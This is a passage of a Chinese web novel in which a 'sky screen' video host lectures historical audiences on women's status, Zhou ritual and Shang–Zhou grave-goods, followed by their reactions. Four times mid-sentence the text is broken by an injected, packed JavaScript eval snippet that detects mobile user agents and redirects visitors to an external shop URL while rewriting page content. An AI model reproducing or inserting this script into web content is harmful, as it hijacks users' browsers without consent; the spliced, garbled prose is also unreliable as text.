针对这一点，上野千鹤子在《父权体制与资本主义》中这样说：“‘家务劳动’这一概念的发现极大地改变了人们看问题的角度。‘家务劳动’这个概念的形成让人们认识到‘家务劳动亦是劳动’。理论层面上对‘概念’的新发现带来了认识上的变革。随着人们认知‘地图’的改变，世界也焕然一新。这就是理论的力量。在‘家务劳动’这一概念形成并广泛传播之前，‘家务’并没有被视为‘劳动’。被‘家务和育儿’缠身的专职家庭主妇们，尽管‘每天都很繁忙辛苦’，但依然被讥讽为‘包三餐还可以午睡的人’。若她们争辩道：‘我也是起早贪黑像蜜蜂一样勤勤恳恳地在工作啊’，对方只一句‘你干的活根本不算工作’就轻易将她们驳倒了。倘若被说‘家务不是工作’，女人们就只能怯声说道：‘哦，是么……’” 她指出女权主义问题的症结是物质基础，即女性在家务事和养育孩子上的劳动被男性的剥削占有。所批判的，就是女性被束缚在家庭中，无偿培养、照顾市场所需的劳动力。 当前传统家庭内部分工模式依然普遍存在，上班族女性需承担大量家务劳动，平衡家庭和工作是很多女性难以两全的难题。 归根结底，是女性照顾家庭付出劳动，依旧没有得到社会和法律的认可与保护。 与此同时，对女性的性别歧视也长期存在，职场潜规则、性骚扰、家庭暴力、晋升天花板、生育养育等问题，也给女性带来相当多的焦虑和不公。 养儿防老、结婚买房等国内重男轻女观念，依然普遍。 男女比例失衡，逐年凸显。家庭暴力、婚姻问题在诉讼及法律中存在偏颇男性倾向。 婚姻嫁娶方面，传统观念还是会把嫁出去的女儿比成泼出去的水。 丧偶式育儿屡见不鲜，把生育当做女人的事情，面对教育养育的责任，男性几乎隐形…… 从古至今，压榨女性的价值，是一脉相承的。女性总是，第一个被牺牲的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581234|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >比如，每当经济有衰退，社会趋向保守，随之带来的必然是女性地位地下降。 针对“女性地位”问题，我们来做下总结： 从民国时期争取婚恋自由，到建国后女性争取的经济独立的实现，随着妇女解放运动的发展，女性自身的地位得到了一定地提高。 但是儒家文化的奴性教育影响至深，潜移默化之下的男尊女卑的思想根深蒂固。 旧思想旧道德改造不彻底、旧社会体系的复辟，女子依附男子的思想没有从华夏人的骨髓里连根拔起。 没有真正实现男女平等，没有触及男权社会的根本。 这些传统观念作祟，都在影响着女性权利的进一步争取。 女性真正的解放是一条长远之路，还需要很长的时间才能实现。 尽管如此，也依然有成千上万的女性工作者，勇敢而无畏，书写着属于自己的英雄主义。比如： 华夏首位诺贝尔医学奖获得者、共和国勋章获得者、药学家——屠呦呦； 新冠疫情中挺身而出的流行病学家——李兰娟院士； 巴黎奥运会中破三项纪录夺冠的举重选手——罗诗芳； 华夏夏季奥运会最小的参赛运动员年仅十一岁的滑板运动员——郑好好； 从“跳水女王”到跳水裁判长——郭晶晶； 斩获六枚奖牌的游泳运动员——张雨霏； 华夏首位奥运网球单打冠军——郑钦文； 还有花样游泳队、艺术体操队、全红婵、陈艺文…… 她们不仅创造了历史，更让人们看到了女性的坚韧和力量。 各个赛场上的“她”力量，必将激励更多女性一路追光，筑梦前行。 华夏数千年的女性地位变迁史，实则是一部中国政治、经济、律法、文化等的综合历史。 如今，我们庆幸生活在一个男女相对平等的年代，越来越多的女性力量在被看见、被认可，要实现真正的男女平等，“路漫漫其修远兮”我们依然要不停的上下求索。】 “扫盲？后世不会是要求所有人都读书吧，嘶……” “废娼啊……那他们男人……一夫一妻有什么意思啊，还不得憋死了。” “火车司机、飞行员、拖拉机手，就是图上那些庞然大物吗？那都是用来做什么的？” “男主外女主内、干得好不如嫁得好、你负责整挣钱养家我负责貌美如花，这是我们代代相传的观念，竟然……都是错的啊……” “我们这些，成天被圈养在内宅的女子，哪个又不是玩偶、宠物呢？呵呵……真可笑啊。” “后世的女子，也真是不容易，内宅事务不能丢，还要出外工作，可她们真的勇敢，真有能力啊。” “她们……她们不累吗？不累的吧，她们有奔头啊……” “性骚扰、家庭暴力……女人真以为工作就能一劳永逸了？总有能拿捏你们的东西，哼！” “丧偶式育儿，这词新鲜，不管孩子不管家的男人可不就像死了一样吗？还不如死了呢！” “女子，真是……苦难摧残却迎风涅槃啊……” “这些，都是足以名留青史的女子吧，真厉害！” …… 【这一期视频就到这里，我是不系之舟，让我们下期见咯。】 8. 礼制儒教 距离上次天幕出现，有几个月了，这么长时间，它一直没有任何动静。 不少人暗自嘀咕：不会是再也不会出现了吧。 每每想到这里，他们的心情都会变得很是复杂。 前面两次出现，一次讲朝代更迭，不说整个国家震荡、人心惶惶，也差不多了。 一次又是讲女人的地位，现在女人的心都大了，天天吵着闹着要出门，内宅容不下她们了。 朝堂想办法忙着安抚人心，安抚蠢蠢欲动的女人，他们也每天忙得团团转。 上职的时候，连喝茶、闲聊、溜号、看看闲书都不能够了。 回到家，妻妾女儿，就连那七十岁的老母亲看他们都鼻子不是鼻子，眼睛不是眼睛的。 可，又忍不住期待天幕的出现，最好啊，只给他们看，不让女人看到就好了。 这样他们就能在有限的内容里面，分析出国家的未来和走向，这样他们千秋万世名留青史指日可待啊。 日子这样一天天过，在他们等的失望的时候，天幕终于在一个春暖花开的日子里出现了。 听着天幕熟悉又恍如隔世的 “滋滋声”和《谁说女子不如男》的戏曲声，他们一瞬间都抬起了头来。 【哈喽，大家好，我是不系之舟。今天我们继续《历代女性社会地位变迁》这一主题的内容。 前两期视频，我们盘点了历史朝代的具体时间排序，以及在不同阶段女性地位的大致变化。 接下来，我们一起来了解一下，在具体不同的方面，女性所处的环境、地位的不同。 首先，让我们从礼仪、思想方面来看一下。 说到“礼仪”，唐代孔颖达在《春秋左传正义》中说：“中国有礼仪之大，故称夏；有服章之美，谓之华。”说明礼仪是华夏民族得名的来源，是中华民族重要的文化象征。 而作为文字的“礼”，始见于商代甲骨文，初文作“豊”(lǐ)，即为一面鼓和两串玉的象形白描。 古代举行祭祀仪式时，除用贵重物品做祭品外，也须得奏乐，在先民看来，物莫贵于玉，乐莫重于鼓，击鼓奏乐，捧玉奉献，是最高、最神圣的仪式。 后来由于“豊”字的字义在字形上的表现不够直观，再加上字形与“豐”(fēng)极为相似，于是在“豊”字基础上加上偏旁“示”，也就是“禮”字。 凡“示”字旁的古汉字，往往与天地鬼神祖宗有关。所以，“礼”与祭祀活动的密切关系不言而喻。 东汉许慎《说文解字》中，对“礼”字解释为：“履也，所以示神致福也”。意思是实践约定的事情，用来给神灵看，以求得赐福。 郭沫若在《十批判书》中指出：“礼之起，起于祀神，其后扩展而为人，更其后而为吉、凶、军、宾、嘉等多种仪制。 由此可见，“礼”实为一种以物事神的祭祀行为。礼最早和最重要的含义是指求神赐福的宗教祭祀典仪。 “礼”的起源很早，原始社会已经有了“礼”的萌芽。 在1930年发现的北京市周口店龙骨山北京人遗址中，山顶洞人将死者埋葬在下室，说明他们已经有了原始的宗教信仰。有人认为尸体上及周围的赤铁矿粉象征血液，人死血枯，加上同色的物质，是希望死者在另外的世界中复活。这是迄今为止在华夏发现的最早的葬仪。 在今西安附近的半坡遗址中，发现了生活距今约五千年前的半坡村人的公共墓地。墓地中坑位排列有序，死者的身份有所区别，有带殉葬品的仰身葬，还有无殉葬品的俯身葬等。葬仪与等级的观念也已经出现。 尧舜时期已经出现有“五礼”。 《尚书·尧典》：“（舜）协时月正日，同律度量衡，修五礼、五玉、三帛、二生、一死贽，如五器，卒乃复。” 《史记·五帝本纪》：“于是帝尧老，命舜摄行天子之政，以观天命……（舜）修五礼……” 进入奴隶社会，统治阶级为巩固自己的统治地位，把原始的宗教礼仪发展成符合奴隶社会政治需要的礼制，礼被打上了阶级的烙印。 礼也从最开始的驱邪避祸的祭祀，逐渐上升为一种国家制度性行为，被赋予政治内涵。 “礼”，这一古代在祭祀活动中逐步形成的规范，演变为古代社会的等级制度，以此相适应的行为准则和道德规范。 “礼”本义的举行礼仪、祭神求福，也逐渐引申为指这些行为准则和道德规范。】 “你们这些后人，你们……你们怎么能挖开先人的墓地呢？！” “啊，今天要讲礼嘛，太好了！太好了！可别讲什么女人了，我耳朵现在还痛呢，嘶……” “吉礼、凶礼、军礼、宾礼、嘉礼，是为五礼。” “怎可妄论祭祀呢？！宗族、血亲祖先，一定会庇佑我的！” “不学礼，无以立！有礼走遍天下,无礼寸步难行啊。” …… 【春秋时期，诸子百家对礼仪的起源、本质和功能进行了系统阐述，第一次在理论上全面而深刻地论述了社会等级秩序划分及其意义。 孔子说：“殷因于夏礼，所损益，可知也；周因于殷礼，所损益，可知也。其或继周者，虽百世可知也。” 孔子认为夏、殷、周三代之礼，因革相沿而有所损益，到周公时代的周礼，则日趋完善。 周人称“故殷礼陟配天，多历年所”，认为由于殷族人对礼的讲求，能和上天相配，因而国运长久。 周代殷后，周公就提出要“王肇称殷礼，祀于新邑，咸秩无文”。在新都祭祀时，开始使用殷礼，安排等级秩序，礼由是成为维护社会政治等级制度的行为规范，赋以治理国家和人民的政治功能。 所谓：“礼，经国家，定社稷，序民人，利后嗣者也。” “礼，所以守其国，行其政令，无失其民者也。” “夫礼者，所以定亲疏，决嫌疑，别同异，明是非也。” “君臣、上下、父子、兄弟，非礼不定。” 《史记·周本纪》载：“既绌殷命，袭淮夷，归在丰，作《周官》。兴正礼乐，度制于是改，而民和睦，颂声兴。 也就是说，周成王在消灭了殷朝的残余势力，袭击了淮夷，回到丰邑后，写下了《周官》，说明周朝设官分职用人之法，重新规定了礼仪，谱制了音乐，法令、制度这时也都进行了修改，百姓和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581235|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睦、太平，颂歌四处兴起。 随着周朝的建立，周文王第四子周公旦为加强中央政治统治、配合政治上维护宗周统治的分封制，创造性地推出了“周礼”。 将上古至殷商的礼乐进行大规模的整理、改造，创建了一整套具体可操作的礼乐制度，包括饮食、起居、祭祀、丧葬等社会生活的方方面面，都纳入“礼”的范畴，使其成为系统化的社会典章制度和行为规范，从而形成孔子所景仰的“郁郁乎文哉”的礼乐文化，即礼乐成为一套遍及政治、教育、信仰等各领域的重要文化结构。 同时，由氏族社会父系家长制演变而来，维护贵族世袭统治的宗法制，在此时完备。 其以血缘为纽带，确立了分封、世袭、嫡庶、长幼及亲疏关系，从而确立了以周王为“大宗”的自上而下的森严等级制度。 宗法制的目的在于保持奴隶主贵族的政治特权、爵位和财产权不致分散或受到削弱，同时也有利于维系统治阶级内部的秩序，加强对奴隶和平民的统治。 与分封制、宗法制相匹配的，还确立了礼乐制度。周代统治者在武力拓疆的同时，尚不忘继承夏商两代积淀下来的礼乐教化。 《周礼》明确天子祭天地神，诸侯祭山川，百姓祭祖先。 制定了权力递减的尊卑等级，将君、臣、父、子、女五级关系合法化。 开始区分贵贱、尊卑、顺逆、贤愚等人际交往准则。 规定贵族可以娶多名妾，将女性视为最低阶层，没有财产权。男尊女卑的观念开始流行起来。 以“敬天、尊祖、孝亲、保民、尚贤、重教、贵老、慎罚、明德”的核心价值观来改造社会风俗，教化于民。 近代历史学家夏曾佑对西周的历史做出这样的评价：“华夏若无周人，恐今日仍居草昧，盖中国一切宗教、典礼、政治、文艺，皆周人所创也。” 余秋雨曾说：“很重要一点就是他们建立了以道德为主体的周礼。周礼对于中华文明来说是第一个把行政规矩、伦理规矩、社会规矩、家庭规矩、行为规矩定下来的一种礼制。这种礼制建立之后，文明就有了一种行为模式。一个人的内心是否不能传承，但行为模式是可以传承的。” 西周时期，随着祭天、崇祖、尊王升华到“周礼”的核心层面，中国传统礼制定型。 礼制，标志着文明的形成。】 “东周礼崩乐坏，才有孔圣人的克己复礼啊。” “原来，周礼是这么来的啊。” “把女人视为最低阶层，凭什么啊？不会是怕我们再兴母系氏族吧。” “既然这么防备我们女人，那我们就来掰掰腕子吧。” “男尊女卑，呵！咱们啊，走着瞧！” “你们男人可以有多个妾呐！还是写进那什么《周礼》的，你是不是要拿它来说教我啊？” “周礼啊，本来是好的。可它看不起女人，我就觉得它不好了。” …… 【然而，随着周礼的确定，宗法制的形成。女性地位开始大幅度降低。 西周宗法制的确立，不仅维系了社会秩序，对妇女的行为规范及社会地位也进行了约束和控制。】 9. 礼制儒教 【为什么这么说呢？ 这一期我们主要是讲礼制与儒教，那我们就从礼制这一方面来分析探讨一下。 孔子说：“夏礼吾能言之，杞不足征也；殷礼吾能言之，宋不足征也，文献不足故也；足，则吾能征之矣。” 大意是：夏朝的礼，我能说明，杞国的礼不足以说明；殷商的礼我能说明，宋国的礼不足以说明，这些是因为文献资料不足的缘故；文献资料如果充分，我就能够说明。 对孔子来说，夏商文献资料不足，更遑论原始社会时期。 对我们来说，古代资料相对来说都没有那么完备，更不用说先秦时期了。 既然如此，那我们就从现代考古学对古代丧葬制度、青铜器考古发现的结果，来看一下原始社会到奴隶制社会女性地位地变化吧。 丧葬制度，古已有之，从原始社会开始就是一个讲究身份地位的制度，也即 “事死如事生”。 “丧礼者，以生者饰死者也，大象其生以送其死也。故事死如生，事亡如存，终始一也。” 意思是：丧礼，就是用生前的样子去装饰死者，大致模仿他活着的时候的样子把死者送走。所以侍奉死者如同生者，侍奉死去的人如同他活着的时候，对于生死存亡都能按照礼的规定来做。 首先，我们来看一下处于母系氏族社会全盛时期的红山文化。 1981年发现，1983年开始发掘的牛河梁遗址，先后发现了积石冢群、大型祭坛和女神庙等重要遗址。 女神庙，在牛河梁主梁顶部，是整个遗址群的中心位置。是中国迄今发现最早的史前神殿遗址。庙内出土了被誉为“中华民族共祖的女神头像”。 积石冢，是中国最早的王陵。其内的墓葬，已经体现出等级形式，墓葬规格已有高低之分，随葬玉器的多寡与规格也各不相同。可以说已经形成了“一人独尊”、“王者之上”的思想理念。 自人类产生，女性就在历史的进程中发挥着重要的作用。 在生产力低下的旧石器时代（距今约3百万~1万年）和新石器时代（距今约1万~4、5千年）的早（距今约1万2千~9千年）、中（距今9千~7千年）期，人口是最重要的资源，因此世界各地都产生过女性崇拜的现象，并塑造出各种“女神”的形象。 下面我们来看一下，由母系氏族向父系氏族过渡时期，女性墓葬的变化。 1955年发现，1958~1959年发掘的元君庙-泉护村遗址，是黄河中游新石器时代仰韶文化的氏族公共墓地，反映了当时存在家族、氏族、部落的社会组织情况。 从一次葬二次葬兼有和纯为一次葬的多人合葬墓内成员死亡年龄的分析比较，确知有些是不同辈分成员的合葬墓。 在元君庙没有发现可判定为一夫一妻的合葬墓，推测应为对偶婚制时期。合葬墓中成年男女人数往往不成比例，这说明家族成员的构成，没有因婚姻关系得到调整，家族是以血缘关系结合起来的集体。 这里各类女性墓的随葬品一般多于各类男性墓，绝大多数的女性单人墓中的陶器都在9件以上，最多的甚至有21件。而在男性单人墓中，出现6件以上陶器的仅4座墓。 由此看出，当时存在着对少数成年女性和女孩实行厚葬的现象，说明在财产方面的母女继承制。 而到了新石器时代晚期（距今7千~4千5百年），进入父系氏族社会后，女性墓葬就开始出现变化了，我们来看： 1957～1975年曾先后进行4次系统发掘的皇娘娘台遗址，不仅是甘肃最重要的齐家文化遗址，而且是全国青铜时代独特的代表性遗址。 墓葬皆长方形竖穴土坑墓，共88座。无葬具。有单人葬和合葬两种,前者以仰身直肢葬为主,后者有成年男女合葬、成人与小孩合葬等，葬式比较复杂。 成人男女合葬墓中，二人合葬者男性居左仰身直肢，女性居右侧身屈肢，三人合葬者,男性居中仰身直肢；女性在左右侧身屈肢。无论哪种,从保存较完整的女性骨架看，大都面向男性。且还发现有疑似捆绑状态下的女性生殉。 甘肃省博物馆《甘肃武威皇娘娘台遗址发掘报告》中明确记述：“墓24为三人合葬，一男二女。头南足北，都是成年人。男性仰卧正中；左右两侧各有女性骨架一副，均为侧卧屈肢，面向正中，下肢向后屈，双手屈于面前。……从男、女骨架的位置和形态观察，男性正中仰卧，两侧女骨架均侧身屈肢，面向男子，似有服侍和尊敬的意思。想系一夫二妻合葬。” 齐家文化中的婚姻状况，已经由多偶婚制过渡到一夫一妻制，甚至少数富裕的人家中存在一夫多妻的形式。 皇娘娘台遗址中的成人男女合葬墓应当属于夫妻(妾)合葬，其呈现的男女姿势反映出当时社会贵贱等级分明。这说明，此时的男性在社会上居于统治地位，而女子则明显处于从属和被奴役的地位。】 “后面才正常嘛，我的女人不和我葬在一起，那还得了？” “之前的女人活得可真……可真好啊，男人算什么！” “对偶婚制，野蛮又混乱，让男人住在女人家，那不是入赘嘛。” “那时候一定很自由，我想找几个男人找不到，哪像现在被看一眼就是不洁，真是，真是……” “想回到那个时候，教导女性一定要强大，不能被男人夺了权，再反过来奴役我们！” “女神庙啊，这可真不错。婉儿你说当年陛下下令按照我的画像凿的卢舍那大佛，与之相比，如何？” …… 【我们前面也说了，自从进入父系氏族社会，女性地位开始下降。 为什么说：随着周礼的确定，宗法制的形成。女性地位开始大幅度降低呢？ 我们从作为礼器的青铜器及其铭文方面来看一下。 “以上31 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581236|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 批件铜器铭文……在商代晚期的15件器中，有13件器是专为“妣”所作；在西周早期的9件器中，尚有7件专为“妣”所作，而在西周中晚期的3批6件器中，没有一件是专为“妣”所作器，她们均附祭于“祖”之后，是为男性祖先受祭时的陪衬。” 从商到周，从“妣”一开始地独立受祭，到受祭礼器地减少，再到不能独立受祭，开始了女性从属的“附祭”历史。 从女性单独受祭，以及致祭，到这一行为的被限制，明显标志着女性地位的下降。 “从器形来看，商代晚期有爵25件，觚（gū）35件，觯（zhì）15件，尊7件，卣（yǒu）11件，罍（léi）4件，方彝4件，觥4件，斝（jiǎ）5件，壶3件，瓿（bù）2件，盉（hé）3件，罐1件，勺8件，鼎43件，簋（guǐ）11件，甗（yǎn）7件，鬲（lì）2件，孟1件，盘2件，箕1件，钺（yuè）2件，铙（náo）4件，其他器3件，几乎遍及当时使用的所有礼乐器。尤其是鼎、爵、觚等青铜器中核心器物的大量制作，钺、铙等连男性也极少使用的器物的出现，在一定程度上表明女性在作器方面与男性有相近之处。到了西周早期，女性用器发生较大变化，有爵4件，觯3件，觥1件，尊2件，方葬1件，卣1件，罍1件，壶3件，鼎11件，簋10件，甗3件，鬲1件，盘1件。” 由此可知，从商到周，女性使用的礼器的种类由22种减为13种，作为核心器物的鼎，数量更是锐减32件，乐器已不见踪迹。女性在礼器的掌控方面的能力已大为削弱。 众所周知，西周是青铜器发展的鼎盛时期。其礼乐制度的兴起更促进了青铜器的发展。 也就是说，这一时期青铜器总量是在不断增加的，然而女性作器的数量却在大量减少。 随着西周宗法制与礼制的完善，古代专制制度的形成，女性地位显而易见的被削弱，甚至可以说一落千丈，母系氏族社会的余威，荡然无存。】 “之前女子，可以单独受祭啊，还能……单独致祭吗？” “我爹娘的坟，族长都不让我去，说是不详，会给家族招灾。我呸！” “他们老是说什么，自古以来，从来如此，古已有之，真想问问他们，是真的不懂装懂，还是装糊涂糊弄我！” “诶？还有女人单独受祭、致祭的吗？夫子没讲过啊，明天，明天就去问问夫子去。” “我们读的圣贤书，是愚弄我们，还是麻痹我们啊？！我姐临终前想去爹娘坟上看看，我……我还拦她，我……我……” “呵！他父母、他祖宗的墓地、家庙、祠堂，不让我去，以后啊，求我我都不去了。我父母的我都没去过，我图什么啊？” “忽然觉得，带着嫁妆和女儿相依为命好像也不错。以后我们家单独开个家谱，咱也走母系氏族的路，想想也不是不可以哦。” …… 10. 礼制儒教 【司马迁在《史记》里面说：“既绌殷命，袭淮夷，归在丰，作《周官》。兴正礼乐，度制于是改，而民和睦，颂声兴。” 太史公也肯定了，西周礼乐制度，是西周王朝稳定运行数百年的压舱石。 到了西周末年，周幽王沉湎酒色，不理国事。在位期间各种社会矛盾急剧尖锐化，政局不稳，为政贪婪腐败。重用奸臣虢石父主持朝政，加重对百姓的剥削，激起百姓怨愤。 加之西夷犬戎攻入西周都城镐京，杀周幽王，致使西周灭亡。 周幽王死后，诸侯们与申侯共同拥立前任太子姬宜臼继位，东迁至雒邑，史称东周。 天下迎来诸侯争霸时代，历史也由此进入春秋时代。 随着周王室的衰微，诸侯王不断崛起，其后又进入战国时代。 我们现在学历史都知道，秦始皇嬴政力排众议推行郡县制的创举，也知道分封制的弊端，以及历史上因为分封导致的春秋战国诸侯纷战、西汉七国之乱、淮南王刘安叛乱、西晋八王之乱、唐朝安史之乱（藩镇）、明朝靖难之役等比较大的事件，还有很多我们知道或者不知道的小的叛乱。 历朝历代中，分封制难以维系的原因都是中央与地方强弱地较量。 而春秋战国，礼崩乐坏，正是由于没有绝对优势的周王室，被分封制下日益强盛的诸侯王“反扑”。 春秋时期，西周建立的等级森严的分邦建国制日渐遭受破坏，周天子也变成名义上的“天下共主”，春秋五霸崛起，周王室权威地位不断受到诸侯挑战。 “礼乐征伐自天子出”，变成了“礼乐征伐自诸侯出”。 战国时各国公室又受到卿大夫的挑战，出现了“田氏代齐”“三家分晋”等事件，由“政在诸侯”演变为“政在家门”，各诸侯、卿大夫僭用礼乐的现象十分普遍，周天子名存实亡。 “僭礼”成了主旋律，这就是孔子感叹的“礼崩乐坏”时局。】 “幽王无道，西周岂能长久？” “烽火戏诸侯，夭妃祸国，夭妃祸国啊！” “这个申侯不简单，幽王废了他女儿和外孙，还攻打他，他转头联合犬戎，攻破都城，扶持外孙上位，幽王这是自作自受啊。” “想着肯定有人说西周亡于褒姒，呵！什么都是女人的错吗？” “平王东迁后，周朝确实日益名存实亡也。” “王绾，天幕如此评说分封，你怎么看？”这是秦始皇。 “周亚夫，你看，他们果然还是乱了，我们还是要尽早做好准备啊。”这是汉景帝刘启。 “刘安？他也狼子野心？！藏得够深啊！”这是汉武帝刘彻。 “八王之乱，还不是因为选了个傻子皇子，十余年的动乱，还引发了五胡乱华，司马氏真是历史罪人！” “藩镇？！那是什么？安史之乱又是什么？！是哪一个不孝子孙乱来？？”这是唐太宗。 “什么？靖难之役！我大明竟也有藩王叛乱？！别让我知道是哪个鳖孙！”这是明太祖。 …… 【商周女性地位变化我们了解了，那么到东周时期，或者说春秋战国时期，逐渐开始的“礼崩乐坏”之下，女性地位又是如何呢？ 虽说基于文献的东周女性史研究，往往强调女性在东周时期社会地位逐渐式微，从考古学视角我们来看看到底是怎么样的。 首先我们来看春秋早期墓葬，我们以晋侯墓地、虢国墓地、上马墓地为例，选取其中能够确证的女性贵族墓葬6座，将出土青铜礼乐器种类、数量，与同等级合葬墓中的男性贵族墓、同墓地同等级男性贵族墓进行比较。 晋侯墓地M102（夫人墓）：鼎3（另有明器1）、簋（guǐ）4（另有明器1）、壶1、爵1、觥（gōng）1、彝1、盘1、匜（yí）1； 晋侯墓地M93（诸侯墓）：鼎5（另有明器1）、簋6（另有明器1）、甗（yǎn）1、壶3、爵、卣（yǒu）、觯（zhì）、盘2、编钟16。 虢国墓地M2012（夫人墓）：鼎5（另有明器6）、簋4（另有明器6）、甗1、鬲（lì）8、铺2、簠（fǔ）2、玄纹罐1、小罐1、壶2、方彝4、爵4、觥1、觯1、盘1（另有明器6）、匜1、盉（hé）1（另有明器5）； 虢国墓地M2001（诸侯墓）：鼎10（虢季鼎7）、簋9（季簋6）、甗1、鬲8、铺2、簠2、盨（xǔ）4、壶4、方彝3、尊3、爵3、觯2、盘1（另有明器3）、盉1（另有明器2）、编钟8、编磐10。 虢国墓地M2011（太子墓）：鼎9、簋8、甗1、鬲8、铺1、壶4、盘1、匜1、鉴1、钲（zhēng）1、编磐18； 虢国墓地M1052（太子墓）：鼎7、簋6、甗1、铺1、小罐1、壶2、盘1、匜1、编钟9、编磐； 虢国墓地M2013（卿大夫配偶墓）：鼎3、簋4、簠2、盘1、匜1； 虢国墓地M2006（卿大夫配偶墓）：鼎3、甗1、簠1、盨1、鬲4、方彝1、爵1尊1、觯1、盘1； 虢国墓地M2010（卿大夫墓）：鼎5、簋4、甗1、壶2、盘1、匜1。 上马M1283（士之配偶墓）：陶器、玉器； 上马M1284（M1283异穴合葬墓）：鼎3、盘1、匜1； 上马M1288（士之配偶墓）：玉器； 上马M1287（M1288异穴合葬墓）：鼎3、盘1、匜1。 通过以上数据对比可知，春秋早期女性贵族墓葬随葬器物组合，依然延续了西周晚期普遍下降的趋势，与男性贵族存在一个显著等差。 与同等级身份男性贵族墓葬随葬器物组合相比较，存在明显的层阶差异，用鼎数量较男性配偶墓低一个等级，随葬器类尤其一些等级象征性较高的器物不见或少于男性墓葬。 两性间随葬器物组合的层阶差异在低等级贵族墓葬上表现更为强烈，士等级女性配偶被排斥于礼器使用者之外，从物质层面表现了中下层女性身份地位的极端低下。 下面我们来看春秋中晚期，以琉璃阁遗址、分水岭墓地、临猗程村遗址、上马墓地、闻喜上郭村遗址、洛阳纱厂路东周墓(JM 32)的18座女性墓葬为例，对比同等级男性墓葬。 琉璃阁乙墓（夫人墓）：鼎10、鬲5、甗1、簋4、簠4、铺1、壶1、钅和( hé)1、盘1、鉴1、盆3； 琉璃阁甲墓（诸侯墓）：鼎18、鬲5、甗1、簋6、敦（duì）2、簠6、盖豆8、铺1、壶5、钅和1、罍（léi）2、盘1、鉴2、镈（bó）钟13、甬钟8、钮钟9、石编磐10。 琉璃阁M55（命妇墓）：鼎14、鬲6、簋4、簠2、豆2、壶2、钅和1、盘1、匜1、鉴2； 琉璃阁M80（卿大夫墓）：鼎13、鬲6、簋4、敦2、簠4、壶1、钅和2、其他4、盘1、匜1、盉1、编钟3、铙1。 分水岭M270（命妇墓）：鼎10、敦2、簠2、壶2、钅和1、罍2、盘1、匜1、鐎（jiāo）1、钮钟9、甬钟8、石编磐11； 分水岭M269（卿大夫墓）：鼎9、鬲4、甗1、敦2、簠2、壶2、钅和1、盘1、鐎1、钮钟9、甬钟9、石编磐10。 临猗程村M1002（命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581237|143112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妇墓）：鼎5、敦2、簠2、壶2、钅和1、盘1、匜1、鉴2、编钟9、编磐10； 临猗程村M1001（卿大夫墓）：鼎5、甗2、簠1、豆2、壶2、钅和2、盘1、匜1、鉴2、编钟9、编磐10。 临猗程村M0020（命妇墓）：鼎3、敦2、钅和1； 临猗程村M0002（卿大夫墓，被扰乱）：鼎7、鬲2、敦2、簠2、壶2、盘1、匜2、镈钟9、编钟9、编磐9、鍑 (fù)2。 上马M1004（命妇墓，合葬M1005被盗）：鼎5、豆4、壶2、钅和2、盘1、匜1、编镈9、编磐10； 上马M1015（女性墓）：鼎2、敦1、钅和1、盘1、匜1； 上马M1027（女性墓）：鼎2、敦2、钅和1、盘1、匜1； 上马M1026（士阶层墓）：鼎1、敦1、钅和1、盘1、匜1； 上马M4006（女性墓）：鼎3、豆2、钅和1、盘1、匜1； 上马M5（女性墓）：鼎3、敦2、盘1、匜1。 闻喜上郭村M7（女性墓）：鼎1、敦1、壶1、盘1、匜1； 闻喜上郭村M4（女性墓）：鼎1、敦1、钅和1、盘1、匜1； 临猗程村M1023（女性墓）：鼎1、敦1、钅和1、盘1、匜1； 临猗程村M1024（士等级墓）：鼎1、敦1、钅和1、盘1、匜1； 临猗程村M0021（女性墓）：鼎1、敦1、钅和1； 临猗程村M0022（士等级墓）：鼎1、甗2、敦1； 临猗程村M0004（女性墓）：鼎1、敦1、钅和1、盘1、匜1； 临猗程村M1059（女性墓）：鼎2、敦1、钅和1； 临猗程村M1056（女性墓）：鼎3、豆1、钅和1、盘1、匜1； 临猗程村M1057（士等级墓）：鼎1、甗1、敦2、盘1、匜1； 临猗程村M1119（女性墓，被扰乱）：鼎1； 临猗程村M1064（士等级墓）：鼎1、敦1、钅和1、盘1、匜1； 洛阳2001年JM32（女性墓）：鼎3、敦1、簠2、钅和1、罍2、盘1、匜1。 